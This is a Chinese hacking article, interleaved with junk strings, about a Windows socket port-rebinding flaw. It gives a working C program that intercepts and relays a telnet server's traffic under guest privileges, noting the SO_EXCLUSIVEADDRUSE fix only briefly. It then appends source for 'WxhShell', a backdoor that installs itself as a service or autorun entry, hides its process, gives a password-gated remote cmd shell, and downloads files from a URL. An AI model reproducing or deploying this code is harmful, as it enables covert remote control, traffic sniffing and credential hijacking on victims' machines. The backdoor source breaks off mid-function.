在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
m'ykDK\B s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
?o.Q qy: saddr.sin_family = AF_INET;
~U_,z)<`)c Qh@A7N/L saddr.sin_addr.s_addr = htonl(INADDR_ANY);
e X q}0-*f L\y>WR%s bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
2?nhkast#= ;c;PNihg 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
A+bU{oLr < e7 这意味着什么?意味着可以进行如下的攻击:
[";<YR7iRN J;cTEB 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
V-%Am gTwxmp., 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
{h *Pkn1 m@^!?/as 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
VJ$UpqVm Ee -yP[2
* 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
'}$$o1R -%t2_g, 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
_ya_Jf* 'hl4cHk14 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
J,j! 1VC:o]$ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
G!3d!$t
#jNN?,ZK #include
3erGTa[|q #include
5cE?> #include
U#U nM,3% #include
298@&_ DWORD WINAPI ClientThread(LPVOID lpParam);
uGMmS9v$ J int main()
BV01&.<| {
QL_9a,R'r WORD wVersionRequested;
O6$d@r;EK] DWORD ret;
N M_Xy<.~E WSADATA wsaData;
9WhZ=
Xk BOOL val;
]7yr.4?a SOCKADDR_IN saddr;
}Pn]j7u! SOCKADDR_IN scaddr;
c})f&Z@< int err;
5T4!'4n SOCKET s;
ET 2@dY~ SOCKET sc;
~i y]X:U int caddsize;
?#0|A?U HANDLE mt;
W6 U**ir. DWORD tid;
[:(^n0% wVersionRequested = MAKEWORD( 2, 2 );
w
`0m[* err = WSAStartup( wVersionRequested, &wsaData );
o 0'!u if ( err != 0 ) {
K6l{wyMb| printf("error!WSAStartup failed!\n");
3/q)%Z^= return -1;
).b,KSi }
#N'W+M / saddr.sin_family = AF_INET;
>=Pn\"j :v>Nz7SB //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
z<c%Xl\$% .V Cfh+*J# saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
^yo~C3r~ saddr.sin_port = htons(23);
$'obj if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
T,D(Xh {
CFU'-
#b printf("error!socket failed!\n");
96FS-` return -1;
z nxAP| }
')mR87 val = TRUE;
jA}b=c //SO_REUSEADDR选项就是可以实现端口重绑定的
yhpeP if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
p\ }Ep {
-x?I6>{ printf("error!setsockopt failed!\n");
$+$S}i= return -1;
t5Oeb<REz }
O.% $oV //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
:]hNw1e //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
J*} warf& //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
s}3`%?,6y L d;))e if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
qXw^y {
;mAlF>6]\ ret=GetLastError();
Lm{qFu printf("error!bind failed!\n");
gx',~ return -1;
p2/Pj)2 }
TC+L\7 listen(s,2);
R]! [h while(1)
-)p
S\$GC {
rV0X*[]J> caddsize = sizeof(scaddr);
L
H8iHB //接受连接请求
;0c
-+, sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
[,)G\ if(sc!=INVALID_SOCKET)
(q]_&%yW {
|r%NMw #y mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
(Iz$_( if(mt==NULL)
=h
Lw1~ {
+-*Ww5Zti printf("Thread Creat Failed!\n");
r$
8^K\oF break;
>{HQ"{Q }
8*iIJ }
UTLuzm CloseHandle(mt);
5u89?-UD }
#NZ#G~oeO closesocket(s);
^.|P&f~ WSACleanup();
p?v. 42R:z return 0;
_P{f+HxU }
y k{8O.g DWORD WINAPI ClientThread(LPVOID lpParam)
f~0CpB*X {
# zbAA<f SOCKET ss = (SOCKET)lpParam;
O DO'!T- SOCKET sc;
O8Dav^\y? unsigned char buf[4096];
:[r/
Y SOCKADDR_IN saddr;
9z$fDs}.q long num;
Sr#\5UDS DWORD val;
s1GR!*z> DWORD ret;
N a$eeM //如果是隐藏端口应用的话,可以在此处加一些判断
!JGe
.U5 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
DQ*T2*L saddr.sin_family = AF_INET;
.;$Ub[ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
kR,ry:J- saddr.sin_port = htons(23);
8%ea(|Wjg if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
(& UQ^ {
. \t8s0A printf("error!socket failed!\n");
d^(7\lw| return -1;
?-Zl(uX }
J^V}%N". val = 100;
lPyY if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
J_S8=`f% {
$&~moAl ret = GetLastError();
2Pm[
kD4E= return -1;
u _mtdB' }
W2Ik!wEe& if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
e1OGGF%En {
n(h9I'V8)F ret = GetLastError();
.US=fWyrb return -1;
~~\C.6c# }
!7hjA=0 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
4'wbtE| {
e=^^TX`I printf("error!socket connect failed!\n");
D>fg closesocket(sc);
[p+-]V closesocket(ss);
C==yl"w return -1;
YWFq&II|Z }
uo8[,' while(1)
7M/v[dwL {
m!K`?P]:N //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
('k9X cTPP //如果是嗅探内容的话,可以再此处进行内容分析和记录
T T@U_^o //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
_1,hO?TK num = recv(ss,buf,4096,0);
+6`+Q2qi if(num>0)
"P9(k> send(sc,buf,num,0);
PS}'LhZ else if(num==0)
KcvstC` break;
HSk_'g(\0 num = recv(sc,buf,4096,0);
x fa- if(num>0)
:o 8XG send(ss,buf,num,0);
S54q?sb_ else if(num==0)
TtQ'I}7q break;
2O
2HmL }
21$E.x 6 closesocket(ss);
;=p3L<~c`K closesocket(sc);
sg8[TFX@Z return 0 ;
vc0LV'lmg }
uc>":V jNvDE}' ZXIw^!8@/ ==========================================================
oo\7\b#Jx $<QrV,T 下边附上一个代码,,WXhSHELL
g\% Z+Dc AU1U?En ==========================================================
'^.`mT'P Qhq' %LR #include "stdafx.h"
3_ly"\I\ "ze-Mb #include <stdio.h>
} J[Z)u #include <string.h>
4_`(c1oA #include <windows.h>
1Q/=s,{u #include <winsock2.h>
/go|r ' #include <winsvc.h>
6CCm1F{` #include <urlmon.h>
AP1&TQ,& rQxiG[0 #pragma comment (lib, "Ws2_32.lib")
"<"m}rE?Q #pragma comment (lib, "urlmon.lib")
e }Mf r7,}"Pl #define MAX_USER 100 // 最大客户端连接数
e\em;GTy #define BUF_SOCK 200 // sock buffer
.* )e24` #define KEY_BUFF 255 // 输入 buffer
0NeIQr1N_ *`q?`#1&&. #define REBOOT 0 // 重启
", p5}}/ #define SHUTDOWN 1 // 关机
%tMx48'N lSg[7lt #define DEF_PORT 5000 // 监听端口
!:PiQ19
'u -.Blj<2ah #define REG_LEN 16 // 注册表键长度
_%[po%] #define SVC_LEN 80 // NT服务名长度
{h=gnR-9 84WX I#BH // 从dll定义API
>%ovL8F typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
c: r25 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
RfOJUz typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
6O<UW. typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Mj{w/' Pa6pq;4St // wxhshell配置信息
r'`7}@H* struct WSCFG {
* bd3^mP int ws_port; // 监听端口
$J^fp XO char ws_passstr[REG_LEN]; // 口令
RG*Vdom int ws_autoins; // 安装标记, 1=yes 0=no
?j0yT@ G char ws_regname[REG_LEN]; // 注册表键名
oOLey!uZw char ws_svcname[REG_LEN]; // 服务名
=ecLzk"+F char ws_svcdisp[SVC_LEN]; // 服务显示名
vK%*5 char ws_svcdesc[SVC_LEN]; // 服务描述信息
-p>~z ) char ws_passmsg[SVC_LEN]; // 密码输入提示信息
!~&&&85 int ws_downexe; // 下载执行标记, 1=yes 0=no
xeL"FzF:V char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
S=0DQ19 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
b[GhI+_ m<49<O6o };
>.6|\{*sG XC5/$3'M& // default Wxhshell configuration
X@"G1j >/ struct WSCFG wscfg={DEF_PORT,
*f3S tX "xuhuanlingzhe",
ei<0,w[V1{ 1,
{fnx=BaG "Wxhshell",
n m<?oI*\ "Wxhshell",
=gs-#\% "WxhShell Service",
(-g*U# "Wrsky Windows CmdShell Service",
1$8@CT^m "Please Input Your Password: ",
Z2gWa~dBC 1,
jM&di "
http://www.wrsky.com/wxhshell.exe",
;F#(:-: "Wxhshell.exe"
F~8'3!<9 };
R0}1:1}$Sn K8aqC{ // 消息定义模块
*68 TTBq( char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
:{2~s char *msg_ws_prompt="\n\r? for help\n\r#>";
0|RofL&o char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
?+))J~@t char *msg_ws_ext="\n\rExit.";
CVWT>M< char *msg_ws_end="\n\rQuit.";
+rJ6DZ char *msg_ws_boot="\n\rReboot...";
."H;bfcL_ char *msg_ws_poff="\n\rShutdown...";
~L"$(^/ char *msg_ws_down="\n\rSave to ";
$'%GB $. ]
\M+j u char *msg_ws_err="\n\rErr!";
`XhH{*Q"X char *msg_ws_ok="\n\rOK!";
qx'0(q2Ii( "bIb?e2h9G char ExeFile[MAX_PATH];
X+C*+k,z int nUser = 0;
a8f#q]TyQ HANDLE handles[MAX_USER];
SfnQW}RGI int OsIsNt;
?0_<u4 oX;.v9a SERVICE_STATUS serviceStatus;
H.m]Dm,z SERVICE_STATUS_HANDLE hServiceStatusHandle;
J7* o%W*V \c
-m\| // 函数声明
bAPMD int Install(void);
w.-x2Zg}, int Uninstall(void);
TIKkS*$ int DownloadFile(char *sURL, SOCKET wsh);
Z-U u/GjB int Boot(int flag);
l cie6'< void HideProc(void);
`UTPX'Vz int GetOsVer(void);
d/bimQ int Wxhshell(SOCKET wsl);
4LKpEl.= void TalkWithClient(void *cs);
:Ln)j%& int CmdShell(SOCKET sock);
|gA@WV-% int StartFromService(void);
' @RF int StartWxhshell(LPSTR lpCmdLine);
>`\.i,X.D +Yc^w5 !( VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
bGCC?}\ VOID WINAPI NTServiceHandler( DWORD fdwControl );
1EXT^2!D SO=gG 2E // 数据结构和表定义
xgcxA: SERVICE_TABLE_ENTRY DispatchTable[] =
Cgx:6TRS {
k1<^Ept {wscfg.ws_svcname, NTServiceMain},
`Pvi+:6\Y {NULL, NULL}
8f9wUPr };
ZC N}iQu4 LUbj^iQ9 // 自我安装
5c` ;~ int Install(void)
NX&dJ
6a {
5rows]EJJl char svExeFile[MAX_PATH];
Jy)=TJ!y HKEY key;
w'K7$F51 strcpy(svExeFile,ExeFile);
CefFUqo4 TQ]gvi|m // 如果是win9x系统,修改注册表设为自启动
+@Qr GY if(!OsIsNt) {
gx.\H3y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
In1W/? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
;OlnIxH(W RegCloseKey(key);
1'qXT{f/~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
~.:{
Ik] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
:C*}Yg RegCloseKey(key);
]E-/}Ysz return 0;
^OKm ( }
?6CLUu|7n }
w7Yu} JY^ }
KL'1)G"OH else {
EB}B75)x J\y^T3Z // 如果是NT以上系统,安装为系统服务
:1A:g^n SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
8"j $=T6;W if (schSCManager!=0)
!T,<p
{
,^([aK SC_HANDLE schService = CreateService
pG#tMec (
_LHbP=B schSCManager,
ku5|cF*% wscfg.ws_svcname,
Cw,a)XB wscfg.ws_svcdisp,
/x??J4r0 SERVICE_ALL_ACCESS,
I _KHQ&Z* SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
FBXktSg SERVICE_AUTO_START,
5-X$"Z|@ SERVICE_ERROR_NORMAL,
gy}3ZA*F svExeFile,
cy8>M))c NULL,
rWTaCU^qV NULL,
\p(S4?I7 NULL,
!, BJO3& NULL,
d_25]B( NULL
$`|hF[tv );
C~h#pAh if (schService!=0)
Qn$'bK2V {
\6wltTW]# CloseServiceHandle(schService);
n+8YTjd CloseServiceHandle(schSCManager);
1Vy8eI`4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
N|yA]dg[ strcat(svExeFile,wscfg.ws_svcname);
VeWh9:"bJ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
*:CTIV5N0 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
!igPyhi,hl RegCloseKey(key);
@&m [w'tn return 0;
NPH(v` }
FEk9a^Xyx }
Xex7Lr& CloseServiceHandle(schSCManager);
X%YZQc9 }
CH4Nz'X2 }
wO,qFY +S~ u ,= return 1;
{ 4j<X5V }
:zU4K=kR ~!({Unt+' // 自我卸载
8WytvwB} int Uninstall(void)
2U[/"JL {
>)WE3PT/O" HKEY key;
u.2X" k{f1q>gd if(!OsIsNt) {
f!+d*9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
x<l 5wh RegDeleteValue(key,wscfg.ws_regname);
WfO E I1 RegCloseKey(key);
z -?\b^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^VYR}1Mw RegDeleteValue(key,wscfg.ws_regname);
sccLP_#Z RegCloseKey(key);
.V!5Ui< return 0;
2?ue.1C }
+O8[4zn&k }
bSIY|/d+ }
N6[Z*5efR else {
'gN[LERT tV=Qt[|@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
?*~
~Ok if (schSCManager!=0)
[\ku,yd%0 {
\;-Yz SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
niS\0ZA if (schService!=0)
YMw,C:a4 {
4m\Cc_:jO if(DeleteService(schService)!=0) {
@lzq`SzM CloseServiceHandle(schService);
1jx?zvE, CloseServiceHandle(schSCManager);
OFohyy( return 0;
'{,JuX"n }
H2],auBY CloseServiceHandle(schService);
`m'RvU c }
mCnl@ CloseServiceHandle(schSCManager);
Ge)G.> c }
(1=@.srAzK }
|Gq3pL<jkC _oZ3n2v}@ return 1;
!IJ
YaQ6z }
r`ftflNh( ~Xx}:@Ld // 从指定url下载文件
S>5w=RK int DownloadFile(char *sURL, SOCKET wsh)
*fY*Wy9 {
eF;Jj>\R+i HRESULT hr;
# 9bw'm char seps[]= "/";
CM~x1f *v char *token;
f:8!@,I char *file;
-qSGa;PJ char myURL[MAX_PATH];
\&d1bq char myFILE[MAX_PATH];
qi@Nz=t#HJ -.)f~#8 strcpy(myURL,sURL);
<e Y2}Ml token=strtok(myURL,seps);
~I")-2"B while(token!=NULL)
h/5V~ :) {
ZXhNn< file=token;
vmxS^_I token=strtok(NULL,seps);
^E,
#}cW }
*[>{9V ~&,S xQT GetCurrentDirectory(MAX_PATH,myFILE);
m!INbIh strcat(myFILE, "\\");
h9d*N 9!;M strcat(myFILE, file);
Urw =a$ send(wsh,myFILE,strlen(myFILE),0);
ke6,&s%{j send(wsh,"...",3,0);
5aVZ"h" hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
?z.
Z_A& if(hr==S_OK)
Z{u]qI{l return 0;
`m V(: else
bz:En'2>F return 1;
DFwiBB6 9a:(ab' }
C^?/9\
jz3f{~ // 系统电源模块
3
JlM{N6+ int Boot(int flag)
pl}W|kW} {
Cf 202pF3y HANDLE hToken;
P/S ,dhs( TOKEN_PRIVILEGES tkp;
de8xl >8NUji2I if(OsIsNt) {
S!-t{Q+j^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
v?d`fd LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
auB+ g'l tkp.PrivilegeCount = 1;
(wH+ 0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
C\[:{d AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
#.FhN x if(flag==REBOOT) {
(Rs;+S if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
KsTE)@F: return 0;
$LBgBH&z }
t%y
i3 else {
7#HSe#0J if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
1q
ZnyJ return 0;
6d5q<C_3t }
iOAn/[^xk }
3? k<e else {
zl, Vj%d if(flag==REBOOT) {
'0Q/oU if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
sCf)#6mI return 0;
ow+_g R- }
[IyC}lSW^- else {
aYtW!+# if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
K=4|GZ~p}` return 0;
B%x?VOdBE }
,=pn}\R }
OgK' ~j D3O)Tj@:}( return 1;
^]/V-!j }
'8^cl:X iYW<qgz // win9x进程隐藏模块
`/G9*tIR8g void HideProc(void)
-lfbn=3 {
{rF9[S"h }_}LaEYAo HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
c?Zi/7 if ( hKernel != NULL )
>2'A~?% {
{p$X*2ReB pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
4y)6!p ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
1Fsa}UK FreeLibrary(hKernel);
H.Z<T{y;
}
ErQGVE;zk
u7&5t return;
aMK\&yZD }
z2A,*|I 9+Wf*:*EW // 获取操作系统版本
Ln4Dq[M int GetOsVer(void)
kK&AK2 {
5o^\jTEl^ OSVERSIONINFO winfo;
M"Y,kA|+ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
WxJaE;`Ige GetVersionEx(&winfo);
L 'e|D=y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Lq#!}QcW= return 1;
,{'ZP_ else
^C2SLLgeJ return 0;
QqC-ztz }
j3R}]F'C* f?QP(+M5. // 客户端句柄模块
Tkj
F/zv int Wxhshell(SOCKET wsl)
/mn'9=ks {
p8iKZI]g SOCKET wsh;
b.
:2x4 struct sockaddr_in client;
>+%0|6VSb DWORD myID;
4`sW_
ks kb\\F:w(W while(nUser<MAX_USER)
Eb&=$4c= {
Q ~eh_>" int nSize=sizeof(client);
RRpCWcIv" wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
HSACaTVK if(wsh==INVALID_SOCKET) return 1;
/W{^hVkvC w,1*dn handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
XCGK&OGI if(handles[nUser]==0)
0Fs2* FS closesocket(wsh);
y=}o|/5" else
Pp;OkI``[ nUser++;
MdnapxuS }
FW4#/H WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
rj29$d?Y9 rLp0)Go return 0;
<.
V*]g/; }
~T=a]V \O*W/9
+ // 关闭 socket
7#PQ1UWl void CloseIt(SOCKET wsh)
t&o&gb {
aC3Qmo6?m closesocket(wsh);
P(p|NRD@1 nUser--;
Nm#[ A4 ExitThread(0);
Tog'3k9Uw }
ka$la;e3 1/=6s5vS} // 客户端请求句柄
e=ry_@7 void TalkWithClient(void *cs)
0J.]`kR {
|-]'~@~ !3ji]q;uF SOCKET wsh=(SOCKET)cs;
c`UizZ char pwd[SVC_LEN];
=_$Hn>vO char cmd[KEY_BUFF];
dp }zG+ char chr[1];
7\i> > int i,j;
DNRWE1P2bg o}L\b,]) while (nUser < MAX_USER) {
Vo(bro4ZQi 5QG?*Z~?7 if(wscfg.ws_passstr) {
i&L!?6 5-f if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
=pb ru=/ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Nfd'|# //ZeroMemory(pwd,KEY_BUFF);
nYTPcT4x| i=0;
%d0BQ| while(i<SVC_LEN) {
}n k[WW !dwa. lZ&X // 设置超时
WFfn:WSWU fd_set FdRead;
: !wt/Y struct timeval TimeOut;
<SSkCw FD_ZERO(&FdRead);
r_Pi)MPc FD_SET(wsh,&FdRead);
C!|Yz=e TimeOut.tv_sec=8;
fjqd16{Q TimeOut.tv_usec=0;
O]?PC^GGY int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
!)EYM&:Y if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
% 3<7HY]~ 15kkf~Z<t if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
D0X!j,Kc pwd
=chr[0]; +o K*5 Y
if(chr[0]==0xd || chr[0]==0xa) { #?DoP]1Y
pwd=0; ($,qxPOn
break; N@I=X-7nh|
} TV?MB(mN
i++; ey`E
E/WV
} ;y-sd?pAk
|0VZ1{=*
// 如果是非法用户,关闭 socket +-Z `v
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); be
HEAQ
} d_Z?i#r0l
=F46v{la
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;esOe\zjE
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HDj260a
a-NicjV#
while(1) { V=H :`n3k
Bm+Ca:p%
ZeroMemory(cmd,KEY_BUFF); 1P G"IaOb
SL`nt
// 自动支持客户端 telnet标准 Lv<vMIr
j=0; ,#j'~-5
while(j<KEY_BUFF) { ^MvBW6#1
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !d1a9los
cmd[j]=chr[0]; 1;~|[C
if(chr[0]==0xa || chr[0]==0xd) { 9D7i>e%,;-
cmd[j]=0; !9_'_8
break; ,k}(]{ -
} R#W=*cN
j++; G|z%T`!U1;
} j7J'd?l
lLS7K8;4W
// 下载文件 *eMMfxFl
if(strstr(cmd,"http://")) { C40o_1g
send(wsh,msg_ws_down,strlen(msg_ws_down),0); c6VyF=2q
if(DownloadFile(cmd,wsh)) )D&xyC}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |u+!CR
else HbJ^L:/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OU<v9`<
} H`rd bE
else { (btmg<WT"
EKEJ9Y+47H
switch(cmd[0]) { 'i4L.&
cVDcda|PE
// 帮助 bP&1tE
case '?': { upGLZ#
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _IWLC{%V
break; QSOG(}w
} 9A *gW j
// 安装 ]D,\(|
case 'i': { -L!lJ
if(Install()) x
kdC-S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); d-TpY*v
else o_03Io
~Bf
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \susLD
break; i ;^Ya
} Pk;YM}
// 卸载 od^ylg>K
case 'r': { `i<Z<
<c>
if(Uninstall()) ?@;#|^k9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PJ^qE|X
else J|`.d46
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w8a49 Fv
break; \J;_%-Z
} I:("f+
H
// 显示 wxhshell 所在路径 z, n[}Q#u
case 'p': { hw=~%f;
char svExeFile[MAX_PATH]; &d\ y:7
strcpy(svExeFile,"\n\r"); 'UM *7
strcat(svExeFile,ExeFile); d{Owz&PL
send(wsh,svExeFile,strlen(svExeFile),0); A#Y:VavQ?
break; OsKtxtLO
} [pInF
Qh6
// 重启 *D.Ajd.G
case 'b': { `@#rAW D
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b7B|$T,
if(Boot(REBOOT)) nlA:C>=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (p<pF].
else { }b/P\1#z
closesocket(wsh); Nnq1&j"m
ExitThread(0); iUk#hLLC
} zE~Xxp
break; o7@C$R_#
} zjOOEvi
// 关机 cQm4q19
case 'd': { K~B
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =}.gU WV
if(Boot(SHUTDOWN)) 'xEK0~awD
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IhOAMH1
else { ?:G 3U\M
closesocket(wsh); buT6)~lw
ExitThread(0); _n_()at)
} ;a| ~YM2I
break; ck\W'Y*Q7
} `46z D
?
// 获取shell +wf9!_'
case 's': { 5lM2nhlf'b
CmdShell(wsh); I&31jn_o
/
closesocket(wsh); # 1dg%
ExitThread(0); AQmHa2P
break; _,/~P)
} );kD0FO1|
// 退出 _*MK"
case 'x': { EX#AJ>?V(
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]Y!x7
CloseIt(wsh); V:vqt@
break; 2=/-,kOL_
} zTc*1(^
// 离开 Qj*.Z4ue
case 'q': { xF@&wg
send(wsh,msg_ws_end,strlen(msg_ws_end),0); `.J17mQe"
closesocket(wsh); >H ?k0M`L
WSACleanup(); >##Z}auY
exit(1); D:/q<<|
break; "%\hDL;
} 57-Hx;
} *l=(?Pe<
} Eku9u
9g>)7Ne
// 提示信息 -Jw4z#/-
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ri~$hs!
} ?{e}ouKYX1
} @`dlhz
*@H\J e`
return; gKQV99
} W"GW[~
h
eLnS1w2
// shell模块句柄 Qd{8.lB~LQ
int CmdShell(SOCKET sock) qR_>41JU"
{ ^'a#FbMtt
STARTUPINFO si; bwH[rT!n
ZeroMemory(&si,sizeof(si)); ~$J(it-a
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~UZ3 lN\E
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &*%x]fQ@
PROCESS_INFORMATION ProcessInfo; x~vNUyEN)
char cmdline[]="cmd"; GEA1y^b6"
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g,rmGu3v
return 0; _DH^ K9,9
} y.c6r> }
n:P:im?,y*
// 自身启动模式 h<TZJCt
int StartFromService(void) QS5t~rb
{ E6ZkO/
typedef struct +{RTz)e?*
{ 23WrJM!2N
DWORD ExitStatus; .7
0
DWORD PebBaseAddress; }\Rmwm-
